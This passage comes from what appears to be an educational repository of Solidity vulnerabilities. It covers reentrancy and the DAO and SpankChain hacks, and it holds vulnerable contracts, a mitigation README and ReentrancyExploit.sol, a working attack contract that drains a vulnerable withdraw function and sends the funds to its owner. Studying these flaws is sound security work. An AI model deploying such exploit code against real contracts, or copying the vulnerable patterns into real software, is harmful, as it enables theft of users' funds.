_value 1124 | ) internal returns (bool success) { 1125 | 1126 | uint transferPaidOut = paidOut[_from] * _value / balanceOf(_from); 1127 | if (transferPaidOut > paidOut[_from]) 1128 | throw; 1129 | paidOut[_from] -= transferPaidOut; 1130 | paidOut[_to] += transferPaidOut; 1131 | return true; 1132 | } 1133 | 1134 | 1135 | function changeProposalDeposit(uint _proposalDeposit) noEther external { 1136 | if (msg.sender != address(this) || _proposalDeposit > (actualBalance() + rewardToken[address(this)]) 1137 | / maxDepositDivisor) { 1138 | 1139 | throw; 1140 | } 1141 | proposalDeposit = _proposalDeposit; 1142 | } 1143 | 1144 | 1145 | function changeAllowedRecipients(address _recipient, bool _allowed) noEther external returns (bool _success) { 1146 | if (msg.sender != curator) 1147 | throw; 1148 | allowedRecipients[_recipient] = _allowed; 1149 | AllowedRecipientChanged(_recipient, _allowed); 1150 | return true; 1151 | } 1152 | 1153 | 1154 | function isRecipientAllowed(address _recipient) internal returns (bool _isAllowed) { 1155 | if (allowedRecipients[_recipient] 1156 | || (_recipient == address(extraBalance) 1157 | // only allowed when at least the amount held in the 1158 | // extraBalance account has been spent from the DAO 1159 | && totalRewardToken > extraBalance.accumulatedInput())) 1160 | return true; 1161 | else 1162 | return false; 1163 | } 1164 | 1165 | function actualBalance() constant returns (uint _actualBalance) { 1166 | return this.balance - sumOfProposalDeposits; 1167 | } 1168 | 1169 | 1170 | function minQuorum(uint _value) internal constant returns (uint _minQuorum) { 1171 | // minimum of 20% and maximum of 53.33% 1172 | return totalSupply / minQuorumDivisor + 1173 | (_value * totalSupply) / (3 * (actualBalance() + rewardToken[address(this)])); 1174 | } 1175 | 1176 | 1177 | function halveMinQuorum() returns (bool _success) { 1178 | // this can only be called after `quorumHalvingPeriod` has passed or at anytime 1179 | // by the curator with a delay of at least `minProposalDebatePeriod` between the calls 1180 | if ((lastTimeMinQuorumMet < (now - quorumHalvingPeriod) || msg.sender == curator) 1181 | && lastTimeMinQuorumMet < (now - minProposalDebatePeriod)) { 1182 | lastTimeMinQuorumMet = now; 1183 | minQuorumDivisor *= 2; 1184 | return true; 1185 | } else { 1186 | return false; 1187 | } 1188 | } 1189 | 1190 | function createNewDAO(address _newCurator) internal returns (DAO _newDAO) { 1191 | NewCurator(_newCurator); 1192 | return daoCreator.createDAO(_newCurator, 0, 0, now + splitExecutionPeriod); 1193 | } 1194 | 1195 | function numberOfProposals() constant returns (uint _numberOfProposals) { 1196 | // Don't count index 0. It's used by isBlocked() and exists from start 1197 | return proposals.length - 1; 1198 | } 1199 | 1200 | function getNewDAOAddress(uint _proposalID) constant returns (address _newDAO) { 1201 | return proposals[_proposalID].splitData[0].newDAO; 1202 | } 1203 | 1204 | function isBlocked(address _account) internal returns (bool) { 1205 | if (blocked[_account] == 0) 1206 | return false; 1207 | Proposal p = proposals[blocked[_account]]; 1208 | if (now > p.votingDeadline) { 1209 | blocked[_account] = 0; 1210 | return false; 1211 | } else { 1212 | return true; 1213 | } 1214 | } 1215 | 1216 | function unblockMe() returns (bool) { 1217 | return isBlocked(msg.sender); 1218 | } 1219 | } 1220 | 1221 | contract DAO_Creator { 1222 | function createDAO( 1223 | address _curator, 1224 | uint _proposalDeposit, 1225 | uint _minTokensToCreate, 1226 | uint _closingTime 1227 | ) returns (DAO _newDAO) { 1228 | 1229 | return new DAO( 1230 | _curator, 1231 | DAO_Creator(this), 1232 | _proposalDeposit, 1233 | _minTokensToCreate, 1234 | _closingTime, 1235 | msg.sender 1236 | ); 1237 | } 1238 | } 1239 | -------------------------------------------------------------------------------- /reentrancy/README.md: -------------------------------------------------------------------------------- 1 | # Re-entrancy 2 | A state variable is changed after a contract uses `call.value`. The attacker uses 3 | [a fallback function](ReentrancyExploit.sol#L26-L33)—which is automatically executed after 4 | Ether is transferred from the targeted contract—to execute the vulnerable function again, *before* the 5 | state variable is changed. 6 | 7 | ## Attack Scenarios 8 | - A contract that holds a map of account balances allows users to call a `withdraw` function. However, 9 | `withdraw` calls `send` which transfers control to the calling contract, but doesn't decrease their 10 | balance until after `send` has finished executing. The attacker can then repeatedly withdraw money 11 | that they do not have. 12 | 13 | ## Mitigations 14 | 15 | - Avoid use of `call.value` 16 | - Update all bookkeeping state variables _before_ transferring execution to an external contract. 17 | 18 | ## Examples 19 | 20 | - The [DAO](http://hackingdistributed.com/2016/06/18/analysis-of-the-dao-exploit/) hack 21 | - The [SpankChain](https://medium.com/spankchain/we-got-spanked-what-we-know-so-far-d5ed3a0f38fe) hack 22 | -------------------------------------------------------------------------------- /reentrancy/Reentrancy.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.4.15; 2 | 3 | contract Reentrance { 4 | mapping (address => uint) userBalance; 5 | 6 | function getBalance(address u) constant returns(uint){ 7 | return userBalance[u]; 8 | } 9 | 10 | function addToBalance() payable{ 11 | userBalance[msg.sender] += msg.value; 12 | } 13 | 14 | function withdrawBalance(){ 15 | // send userBalance[msg.sender] ethers to msg.sender 16 | // if mgs.sender is a contract, it will call its fallback function 17 | if( ! (msg.sender.call.value(userBalance[msg.sender])() ) ){ 18 | throw; 19 | } 20 | userBalance[msg.sender] = 0; 21 | } 22 | 23 | function withdrawBalance_fixed(){ 24 | // to protect against re-entrancy, the state variable 25 | // has to be change before the call 26 | uint amount = userBalance[msg.sender]; 27 | userBalance[msg.sender] = 0; 28 | if( ! (msg.sender.call.value(amount)() ) ){ 29 | throw; 30 | } 31 | } 32 | 33 | function withdrawBalance_fixed_2(){ 34 | // send() and transfer() are safe against reentrancy 35 | // they do not transfer the remaining gas 36 | // and they give just enough gas to execute few instructions 37 | // in the fallback function (no further call possible) 38 | msg.sender.transfer(userBalance[msg.sender]); 39 | userBalance[msg.sender] = 0; 40 | } 41 | 42 | } 43 | 44 | -------------------------------------------------------------------------------- /reentrancy/ReentrancyExploit.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.4.15; 2 | 3 | contract ReentranceExploit { 4 | bool public attackModeIsOn=false; 5 | address public vulnerable_contract; 6 | address public owner; 7 | 8 | function ReentranceExploit() public{ 9 | owner = msg.sender; 10 | } 11 | 12 | function deposit(address _vulnerable_contract) public payable{ 13 | vulnerable_contract = _vulnerable_contract ; 14 | // call addToBalance with msg.value ethers 15 | require(vulnerable_contract.call.value(msg.value)(bytes4(sha3("addToBalance()")))); 16 | } 17 | 18 | function launch_attack() public{ 19 | attackModeIsOn = true; 20 | // call withdrawBalance 21 | // withdrawBalance calls the fallback of ReentranceExploit 22 | require(vulnerable_contract.call(bytes4(sha3("withdrawBalance()")))); 23 | } 24 | 25 | 26 | function () public payable{ 27 | // atackModeIsOn is used to execute the attack only once 28 | // otherwise there is a loop between withdrawBalance and the fallback function 29 | if (attackModeIsOn){ 30 | attackModeIsOn = false; 31 | require(vulnerable_contract.call(bytes4(sha3("withdrawBalance()")))); 32 | } 33 | } 34 | 35 | function get_money(){ 36 | suicide(owner); 37 | } 38 | 39 | } 40 | -------------------------------------------------------------------------------- /reentrancy/SpankChain_source_code/README.md: -------------------------------------------------------------------------------- 1 | # Overview 2 | 3 | There are two contracts in this directory: 4 | 5 | - `SpankChain.sol`, which was not vulnerable 6 | - `SpankChain_Payment.sol` which contained the [SpankChain hack](https://medium.com/spankchain/we-got-spanked-what-we-know-so-far-d5ed3a0f38fe) vulnerability 7 | 8 | Both contracts are preserved here for posterity. The "tl;dr" of the vulnerability: 9 | 10 | - The attacker called `createChannel` to setup a channel 11 | - they then called `LCOpenTimeout` repeatedly 12 | - Since `LCOpenTimeout` sends ETH *and then* removes the balance, an attacker can call it over and over to drain the account 13 | 14 | The fix? Never update state before a `transfer`, a `send`, a `call`, and so on; always perform those actions as the last step of the process in any contract that interacts with the 15 | world 16 | -------------------------------------------------------------------------------- /reentrancy/SpankChain_source_code/SpankChain.sol: -------------------------------------------------------------------------------- 1 | // https://etherscan.io/address/0x42d6622dece394b54999fbd73d108123806f6a18#code 2 | 3 | // Abstract contract for the full ERC 20 Token standard 4 | // https://github.com/ethereum/EIPs/issues/20 5 | pragma solidity 0.4.15; 6 | 7 | contract Token { 8 | /* This is a slight change to the ERC20 base standard. 9 | function totalSupply() constant returns (uint256 supply); 10 | is replaced with: 11 | uint256 public totalSupply; 12 | This automatically creates a getter function for the totalSupply. 13 | This is moved to the base contract since public getter functions are not 14 | currently recognised as an implementation of the matching abstract 15 | function by the compiler. 16 | */ 17 | /// total amount of tokens 18 | uint256 public totalSupply; 19 | 20 | /// @param _owner The address from which the balance will be retrieved 21 | /// @return The balance 22 | function balanceOf(address _owner) constant returns (uint256 balance); 23 | 24 | /// @notice send `_value` token to `_to` from `msg.sender` 25 | /// @param _to The address of the recipient 26 | /// @param _value The amount of token to be transferred 27 | /// @return Whether the transfer was successful or not 28 | function transfer(address _to, uint256 _value) returns (bool success); 29 | 30 | /// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from` 31 | /// @param _from The address of the sender 32 | /// @param _to The address of the recipient 33 | /// @param _value The amount of token to be transferred 34 | /// @return Whether the transfer was successful or not 35 | function transferFrom(address _from, address _to, uint256 _value) returns (bool success); 36 | 37 | /// @notice `msg.sender` approves `_spender` to spend `_value` tokens 38 | /// @param _spender The address of the account able to transfer the tokens 39 | /// @param _value The amount of tokens to be approved for transfer 40 | /// @return Whether the approval was successful or not 41 | function approve(address _spender, uint256 _value) returns (bool success); 42 | 43 | /// @param _owner The address of the account owning tokens 44 | /// @param _spender The address of the account able to transfer the tokens 45 | /// @return Amount of remaining tokens allowed to spent 46 | function allowance(address _owner, address _spender) constant returns (uint256 remaining); 47 | 48 | event Transfer(address indexed _from, address indexed _to, uint256 _value); 49 | event Approval(address indexed _owner, address indexed _spender, uint256 _value); 50 | } 51 | 52 | 53 | /* 54 | You should inherit from StandardToken or, for a token like you would want to 55 | deploy in something like Mist, see HumanStandardToken.sol. 56 | (This implements ONLY the standard functions and NOTHING else. 57 | If you deploy this, you won't have anything useful.) 58 | 59 | Implements ERC 20 Token standard: https://github.com/ethereum/EIPs/issues/20 60 | .*/ 61 | contract StandardToken is Token { 62 | 63 | function transfer(address _to, uint256 _value) returns (bool success) { 64 | //Default assumes totalSupply can't be over max (2^256 - 1). 65 | //If your token leaves out totalSupply and can issue more tokens as time goes on, you need to check if it doesn't wrap. 66 | //Replace the if with this one instead. 67 | //require(balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]); 68 | require(balances[msg.sender] >= _value); 69 | balances[msg.sender] -= _value; 70 | balances[_to] += _value; 71 | Transfer(msg.sender, _to, _value); 72 | return true; 73 | } 74 | 75 | function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { 76 | //same as above. Replace this line with the following if you want to protect against wrapping uints. 77 | //require(balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]); 78 | require(balances[_from] >= _value && allowed[_from][msg.sender] >= _value); 79 | balances[_to] += _value; 80 | balances[_from] -= _value; 81 | allowed[_from][msg.sender] -= _value; 82 | Transfer(_from, _to, _value); 83 | return true; 84 | } 85 | 86 | function balanceOf(address _owner) constant returns (uint256 balance) { 87 | return balances[_owner]; 88 | } 89 | 90 | function approve(address _spender, uint256 _value) returns (bool success) { 91 | allowed[msg.sender][_spender] = _value; 92 | Approval(msg.sender, _spender, _value); 93 | return true; 94 | } 95 | 96 | function allowance(address _owner, address _spender) constant returns (uint256 remaining) { 97 | return allowed[_owner][_spender]; 98 | } 99 | 100 | mapping (address => uint256) balances; 101 | mapping (address => mapping (address => uint256)) allowed; 102 | } 103 | 104 | /* 105 | This Token Contract implements the standard token functionality (https://github.com/ethereum/EIPs/issues/20) as well as the following OPTIONAL extras intended for use by humans. 106 | 107 | In other words. This is intended for deployment in something like a Token Factory or Mist wallet, and then used by humans. 108 | Imagine coins, currencies, shares, voting weight, etc. 109 | Machine-based, rapid creation of many tokens would not necessarily need these extra features or will be minted in other manners. 110 | 111 | 1) Initial Finite Supply (upon creation one specifies how much is minted). 112 | 2) In the absence of a token registry: Optional Decimal, Symbol & Name. 113 | 3) Optional approveAndCall() functionality to notify a contract if an approval() has occurred. 114 | 115 | .*/ 116 | contract HumanStandardToken is StandardToken { 117 | 118 | /* Public variables of the token */ 119 | 120 | /* 121 | NOTE: 122 | The following variables are OPTIONAL vanities. One does not have to include them. 123 | They allow one to customise the token contract & in no way influences the core functionality. 124 | Some wallets/interfaces might not even bother to look at this information. 125 | */ 126 | string public name; //fancy name: eg Simon Bucks 127 | uint8 public decimals; //How many decimals to show. ie. There could 1000 base units with 3 decimals. Meaning 0.980 SBX = 980 base units. It's like comparing 1 wei to 1 ether. 128 | string public symbol; //An identifier: eg SBX 129 | string public version = 'H0.1'; //human 0.1 standard. Just an arbitrary versioning scheme. 130 | 131 | function HumanStandardToken( 132 | uint256 _initialAmount, 133 | string _tokenName, 134 | uint8 _decimalUnits, 135 | string _tokenSymbol 136 | ) { 137 | balances[msg.sender] = _initialAmount; // Give the creator all initial tokens 138 | totalSupply = _initialAmount; // Update total supply 139 | name = _tokenName; // Set the name for display purposes 140 | decimals = _decimalUnits; // Amount of decimals for display purposes 141 | symbol = _tokenSymbol; // Set the symbol for display purposes 142 | } 143 | 144 | /* Approves and then calls the receiving contract */ 145 | function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { 146 | allowed[msg.sender][_spender] = _value; 147 | Approval(msg.sender, _spender, _value); 148 | 149 | //call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this. 150 | //receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData) 151 | //it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead. 152 | require(_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)); 153 | return true; 154 | } 155 | } 156 | -------------------------------------------------------------------------------- /reentrancy/SpankChain_source_code/SpankChain_Payment.sol: -------------------------------------------------------------------------------- 1 | // https://etherscan.io/address/0xf91546835f756da0c10cfa0cda95b15577b84aa7#code 2 | 3 | pragma solidity ^0.4.23; 4 | // produced by the Solididy File Flattener (c) David Appleton 2018 5 | // contact : dave@akomba.com 6 | // released under Apache 2.0 licence 7 | contract Token { 8 | /* This is a slight change to the ERC20 base standard. 9 | function totalSupply() constant returns (uint256 supply); 10 | is replaced with: 11 | uint256 public totalSupply; 12 | This automatically creates a getter function for the totalSupply. 13 | This is moved to the base contract since public getter functions are not 14 | currently recognised as an implementation of the matching abstract 15 | function by the compiler. 16 | */ 17 | /// total amount of tokens 18 | uint256 public totalSupply; 19 | 20 | /// @param _owner The address from which the balance will be retrieved 21 | /// @return The balance 22 | function balanceOf(address _owner) public constant returns (uint256 balance); 23 | 24 | /// @notice send `_value` token to `_to` from `msg.sender` 25 | /// @param _to The address of the recipient 26 | /// @param _value The amount of token to be transferred 27 | /// @return Whether the transfer was successful or not 28 | function transfer(address _to, uint256 _value) public returns (bool success); 29 | 30 | /// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from` 31 | /// @param _from The address of the sender 32 | /// @param _to The address of the recipient 33 | /// @param _value The amount of token to be transferred 34 | /// @return Whether the transfer was successful or not 35 | function transferFrom(address _from, address _to, uint256 _value) public returns (bool success); 36 | 37 | /// @notice `msg.sender` approves `_spender` to spend `_value` tokens 38 | /// @param _spender The address of the account able to transfer the tokens 39 | /// @param _value The amount of tokens to be approved for transfer 40 | /// @return Whether the approval was successful or not 41 | function approve(address _spender, uint256 _value) public returns (bool success); 42 | 43 | /// @param _owner The address of the account owning tokens 44 | /// @param _spender The address of the account able to transfer the tokens 45 | /// @return Amount of remaining tokens allowed to spent 46 | function allowance(address _owner, address _spender) public constant returns (uint256 remaining); 47 | 48 | event Transfer(address indexed _from, address indexed _to, uint256 _value); 49 | event Approval(address indexed _owner, address indexed _spender, uint256 _value); 50 | } 51 | 52 | library ECTools { 53 | 54 | // @dev Recovers the address which has signed a message 55 | // @thanks https://gist.github.com/axic/5b33912c6f61ae6fd96d6c4a47afde6d 56 | function recoverSigner(bytes32 _hashedMsg, string _sig) public pure returns (address) { 57 | require(_hashedMsg != 0x00); 58 | 59 | // need this for test RPC 60 | bytes memory prefix = "\x19Ethereum Signed Message:\n32"; 61 | bytes32 prefixedHash = keccak256(abi.encodePacked(prefix, _hashedMsg)); 62 | 63 | if (bytes(_sig).length != 132) { 64 | return 0x0; 65 | } 66 | bytes32 r; 67 | bytes32 s; 68 | uint8 v; 69 | bytes memory sig = hexstrToBytes(substring(_sig, 2, 132)); 70 | assembly { 71 | r := mload(add(sig, 32)) 72 | s := mload(add(sig, 64)) 73 | v := byte(0, mload(add(sig, 96))) 74 | } 75 | if (v < 27) { 76 | v += 27; 77 | } 78 | if (v < 27 || v > 28) { 79 | return 0x0; 80 | } 81 | return ecrecover(prefixedHash, v, r, s); 82 | } 83 | 84 | // @dev Verifies if the message is signed by an address 85 | function isSignedBy(bytes32 _hashedMsg, string _sig, address _addr) public pure returns (bool) { 86 | require(_addr != 0x0); 87 | 88 | return _addr == recoverSigner(_hashedMsg, _sig); 89 | } 90 | 91 | // @dev Converts an hexstring to bytes 92 | function hexstrToBytes(string _hexstr) public pure returns (bytes) { 93 | uint len = bytes(_hexstr).length; 94 | require(len % 2 == 0); 95 | 96 | bytes memory bstr = bytes(new string(len / 2)); 97 | uint k = 0; 98 | string memory s; 99 | string memory r; 100 | for (uint i = 0; i < len; i += 2) { 101 | s = substring(_hexstr, i, i + 1); 102 | r = substring(_hexstr, i + 1, i + 2); 103 | uint p = parseInt16Char(s) * 16 + parseInt16Char(r); 104 | bstr[k++] = uintToBytes32(p)[31]; 105 | } 106 | return bstr; 107 | } 108 | 109 | // @dev Parses a hexchar, like 'a', and returns its hex value, in this case 10 110 | function parseInt16Char(string _char) public pure returns (uint) { 111 | bytes memory bresult = bytes(_char); 112 | // bool decimals = false; 113 | if ((bresult[0] >= 48) && (bresult[0] <= 57)) { 114 | return uint(bresult[0]) - 48; 115 | } else if ((bresult[0] >= 65) && (bresult[0] <= 70)) { 116 | return uint(bresult[0]) - 55; 117 | } else if ((bresult[0] >= 97) && (bresult[0] <= 102)) { 118 | return uint(bresult[0]) - 87; 119 | } else { 120 | revert(); 121 | } 122 | } 123 | 124 | // @dev Converts a uint to a bytes32 125 | // @thanks https://ethereum.stackexchange.com/questions/4170/how-to-convert-a-uint-to-bytes-in-solidity 126 | function uintToBytes32(uint _uint) public pure returns (bytes b) { 127 | b = new bytes(32); 128 | assembly {mstore(add(b, 32), _uint)} 129 | } 130 | 131 | // @dev Hashes the signed message 132 | // @ref https://github.com/ethereum/go-ethereum/issues/3731#issuecomment-293866868 133 | function toEthereumSignedMessage(string _msg) public pure returns (bytes32) { 134 | uint len = bytes(_msg).length; 135 | require(len > 0); 136 | bytes memory prefix = "\x19Ethereum Signed Message:\n"; 137 | return keccak256(abi.encodePacked(prefix, uintToString(len), _msg)); 138 | } 139 | 140 | // @dev Converts a uint in a string 141 | function uintToString(uint _uint) public pure returns (string str) { 142 | uint len = 0; 143 | uint m = _uint + 0; 144 | while (m != 0) { 145 | len++; 146 | m /= 10; 147 | } 148 | bytes memory b = new bytes(len); 149 | uint i = len - 1; 150 | while (_uint != 0) { 151 | uint remainder = _uint % 10; 152 | _uint = _uint / 10; 153 | b[i--] = byte(48 + remainder); 154 | } 155 | str = string(b); 156 | } 157 | 158 | 159 | // @dev extract a substring 160 | // @thanks https://ethereum.stackexchange.com/questions/31457/substring-in-solidity 161 | function substring(string _str, uint _startIndex, uint _endIndex) public pure returns (string) { 162 | bytes memory strBytes = bytes(_str); 163 | require(_startIndex <= _endIndex); 164 | require(_startIndex >= 0); 165 | require(_endIndex <= strBytes.length); 166 | 167 | bytes memory result = new bytes(_endIndex - _startIndex); 168 | for (uint i = _startIndex; i < _endIndex; i++) { 169 | result[i - _startIndex] = strBytes[i]; 170 | } 171 | return string(result); 172 | } 173 | } 174 | contract StandardToken is Token { 175 | 176 | function transfer(address _to, uint256 _value) public returns (bool success) { 177 | //Default assumes totalSupply can't be over max (2^256 - 1). 178 | //If your token leaves out totalSupply and can issue more tokens as time goes on, you need to check if it doesn't wrap. 179 | //Replace the if with this one instead. 180 | //require(balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]); 181 | require(balances[msg.sender] >= _value); 182 | balances[msg.sender] -= _value; 183 | balances[_to] += _value; 184 | emit Transfer(msg.sender, _to, _value); 185 | return true; 186 | } 187 | 188 | function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { 189 | //same as above. Replace this line with the following if you want to protect against wrapping uints. 190 | //require(balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]); 191 | require(balances[_from] >= _value && allowed[_from][msg.sender] >= _value); 192 | balances[_to] += _value; 193 | balances[_from] -= _value; 194 | allowed[_from][msg.sender] -= _value; 195 | emit Transfer(_from, _to, _value); 196 | return true; 197 | } 198 | 199 | function balanceOf(address _owner) public constant returns (uint256 balance) { 200 | return balances[_owner]; 201 | } 202 | 203 | function approve(address _spender, uint256 _value) public returns (bool success) { 204 | allowed[msg.sender][_spender] = _value; 205 | emit Approval(msg.sender, _spender, _value); 206 | return true; 207 | } 208 | 209 | function allowance(address _owner, address _spender) public constant returns (uint256 remaining) { 210 | return allowed[_owner][_spender]; 211 | } 212 | 213 | mapping (address => uint256) balances; 214 | mapping (address => mapping (address => uint256)) allowed; 215 | } 216 | 217 | contract HumanStandardToken is StandardToken { 218 | 219 | /* Public variables of the token */ 220 | 221 | /* 222 | NOTE: 223 | The following variables are OPTIONAL vanities. One does not have to include them. 224 | They allow one to customise the token contract & in no way influences the core functionality. 225 | Some wallets/interfaces might not even bother to look at this information. 226 | */ 227 | string public name; //fancy name: eg Simon Bucks 228 | uint8 public decimals; //How many decimals to show. ie. There could 1000 base units with 3 decimals. Meaning 0.980 SBX = 980 base units. It's like comparing 1 wei to 1 ether. 229 | string public symbol; //An identifier: eg SBX 230 | string public version = 'H0.1'; //human 0.1 standard. Just an arbitrary versioning scheme. 231 | 232 | constructor( 233 | uint256 _initialAmount, 234 | string _tokenName, 235 | uint8 _decimalUnits, 236 | string _tokenSymbol 237 | ) public { 238 | balances[msg.sender] = _initialAmount; // Give the creator all initial tokens 239 | totalSupply = _initialAmount; // Update total supply 240 | name = _tokenName; // Set the name for display purposes 241 | decimals = _decimalUnits; // Amount of decimals for display purposes 242 | symbol = _tokenSymbol; // Set the symbol for display purposes 243 | } 244 | 245 | /* Approves and then calls the receiving contract */ 246 | function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { 247 | allowed[msg.sender][_spender] = _value; 248 | emit Approval(msg.sender, _spender, _value); 249 | 250 | //call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this. 251 | //receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData) 252 | //it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead. 253 | require(_spender.call(bytes4(bytes32(keccak256("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)); 254 | return true; 255 | } 256 | } 257 | 258 | contract LedgerChannel { 259 | 260 | string public constant NAME = "Ledger Channel"; 261 | string public constant VERSION = "0.0.1"; 262 | 263 | uint256 public numChannels = 0; 264 | 265 | event DidLCOpen ( 266 | bytes32 indexed channelId, 267 | address indexed partyA, 268 | address indexed partyI, 269 | uint256 ethBalanceA, 270 | address token, 271 | uint256 tokenBalanceA, 272 | uint256 LCopenTimeout 273 | ); 274 | 275 | event DidLCJoin ( 276 | bytes32 indexed channelId, 277 | uint256 ethBalanceI, 278 | uint256 tokenBalanceI 279 | ); 280 | 281 | event DidLCDeposit ( 282 | bytes32 indexed channelId, 283 | address indexed recipient, 284 | uint256 deposit, 285 | bool isToken 286 | ); 287 | 288 | event DidLCUpdateState ( 289 | bytes32 indexed channelId, 290 | uint256 sequence, 291 | uint256 numOpenVc, 292 | uint256 ethBalanceA, 293 | uint256 tokenBalanceA, 294 | uint256 ethBalanceI, 295 | uint256 tokenBalanceI, 296 | bytes32 vcRoot, 297 | uint256 updateLCtimeout 298 | ); 299 | 300 | event DidLCClose ( 301 | bytes32 indexed channelId, 302 | uint256 sequence, 303 | uint256 ethBalanceA, 304 | uint256 tokenBalanceA, 305 | uint256 ethBalanceI, 306 | uint256 tokenBalanceI 307 | ); 308 | 309 | event DidVCInit ( 310 | bytes32 indexed lcId, 311 | bytes32 indexed vcId, 312 | bytes proof, 313 | uint256 sequence, 314 | address partyA, 315 | address partyB, 316 | uint256 balanceA, 317 | uint256 balanceB 318 | ); 319 | 320 | event DidVCSettle ( 321 | bytes32 indexed lcId, 322 | bytes32 indexed vcId, 323 | uint256 updateSeq, 324 | uint256 updateBalA, 325 | uint256 updateBalB, 326 | address challenger, 327 | uint256 updateVCtimeout 328 | ); 329 | 330 | event DidVCClose( 331 | bytes32 indexed lcId, 332 | bytes32 indexed vcId, 333 | uint256 balanceA, 334 | uint256 balanceB 335 | ); 336 | 337 | struct Channel { 338 | //TODO: figure out if it's better just to split arrays by balances/deposits instead of eth/erc20 339 | address[2] partyAddresses; // 0: partyA 1: partyI 340 | uint256[4] ethBalances; // 0: balanceA 1:balanceI 2:depositedA 3:depositedI 341 | uint256[4] erc20Balances; // 0: balanceA 1:balanceI 2:depositedA 3:depositedI 342 | uint256[2] initialDeposit; // 0: eth 1: tokens 343 | uint256 sequence; 344 | uint256 confirmTime; 345 | bytes32 VCrootHash; 346 | uint256 LCopenTimeout; 347 | uint256 updateLCtimeout; // when update LC times out 348 | bool isOpen; // true when both parties have joined 349 | bool isUpdateLCSettling; 350 | uint256 numOpenVC; 351 | HumanStandardToken token; 352 | } 353 | 354 | // virtual-channel state 355 | struct VirtualChannel { 356 | bool isClose; 357 | bool isInSettlementState; 358 | uint256 sequence; 359 | address challenger; // Initiator of challenge 360 | uint256 updateVCtimeout; // when update VC times out 361 | // channel state 362 | address partyA; // VC participant A 363 | address partyB; // VC participant B 364 | address partyI; // LC hub 365 | uint256[2] ethBalances; 366 | uint256[2] erc20Balances; 367 | uint256[2] bond; 368 | HumanStandardToken token; 369 | } 370 | 371 | mapping(bytes32 => VirtualChannel) public virtualChannels; 372 | mapping(bytes32 => Channel) public Channels; 373 | 374 | function createChannel( 375 | bytes32 _lcID, 376 | address _partyI, 377 | uint256 _confirmTime, 378 | address _token, 379 | uint256[2] _balances // [eth, token] 380 | ) 381 | public 382 | payable 383 | { 384 | require(Channels[_lcID].partyAddresses[0] == address(0), "Channel has already been created."); 385 | require(_partyI != 0x0, "No partyI address provided to LC creation"); 386 | require(_balances[0] >= 0 && _balances[1] >= 0, "Balances cannot be negative"); 387 | // Set initial ledger channel state 388 | // Alice must execute this and we assume the initial state 389 | // to be signed from this requirement 390 | // Alternative is to check a sig as in joinChannel 391 | Channels[_lcID].partyAddresses[0] = msg.sender; 392 | Channels[_lcID].partyAddresses[1] = _partyI; 393 | 394 | if(_balances[0] != 0) { 395 | require(msg.value == _balances[0], "Eth balance does not match sent value"); 396 | Channels[_lcID].ethBalances[0] = msg.value; 397 | } 398 | if(_balances[1] != 0) { 399 | Channels[_lcID].token = HumanStandardToken(_token); 400 | require(Channels[_lcID].token.transferFrom(msg.sender, this, _balances[1]),"CreateChannel: token transfer failure"); 401 | Channels[_lcID].erc20Balances[0] = _balances[1]; 402 | } 403 | 404 | Channels[_lcID].sequence = 0; 405 | Channels[_lcID].confirmTime = _confirmTime; 406 | // is close flag, lc state sequence, number open vc, vc root hash, partyA... 407 | //Channels[_lcID].stateHash = keccak256(uint256(0), uint256(0), uint256(0), bytes32(0x0), bytes32(msg.sender), bytes32(_partyI), balanceA, balanceI); 408 | Channels[_lcID].LCopenTimeout = now + _confirmTime; 409 | Channels[_lcID].initialDeposit = _balances; 410 | 411 | emit DidLCOpen(_lcID, msg.sender, _partyI, _balances[0], _token, _balances[1], Channels[_lcID].LCopenTimeout); 412 | } 413 | 414 | function LCOpenTimeout(bytes32 _lcID) public { 415 | require(msg.sender == Channels[_lcID].partyAddresses[0] && Channels[_lcID].isOpen == false); 416 | require(now > Channels[_lcID].LCopenTimeout); 417 | 418 | if(Channels[_lcID].initialDeposit[0] != 0) { 419 | Channels[_lcID].partyAddresses[0].transfer(Channels[_lcID].ethBalances[0]); 420 | } 421 | if(Channels[_lcID].initialDeposit[1] != 0) { 422 | require(Channels[_lcID].token.transfer(Channels[_lcID].partyAddresses[0], Channels[_lcID].erc20Balances[0]),"CreateChannel: token transfer failure"); 423 | } 424 | 425 | emit DidLCClose(_lcID, 0, Channels[_lcID].ethBalances[0], Channels[_lcID].erc20Balances[0], 0, 0); 426 | 427 | // only safe to delete since no action was taken on this channel 428 | delete Channels[_lcID]; 429 | } 430 | 431 | function joinChannel(bytes32 _lcID, uint256[2] _balances) public payable { 432 | // require the channel is not open yet 433 | require(Channels[_lcID].isOpen == false); 434 | require(msg.sender == Channels[_lcID].partyAddresses[1]); 435 | 436 | if(_balances[0] != 0) { 437 | require(msg.value == _balances[0], "state balance does not match sent value"); 438 | Channels[_lcID].ethBalances[1] = msg.value; 439 | } 440 | if(_balances[1] != 0) { 441 | require(Channels[_lcID].token.transferFrom(msg.sender, this, _balances[1]),"joinChannel: token transfer failure"); 442 | Channels[_lcID].erc20Balances[1] = _balances[1]; 443 | } 444 | 445 | Channels[_lcID].initialDeposit[0]+=_balances[0]; 446 | Channels[_lcID].initialDeposit[1]+=_balances[1]; 447 | // no longer allow joining functions to be called 448 | Channels[_lcID].isOpen = true; 449 | numChannels++; 450 | 451 | emit DidLCJoin(_lcID, _balances[0], _balances[1]); 452 | } 453 | 454 | 455 | // additive updates of monetary state 456 | // TODO check this for attack vectors 457 | function 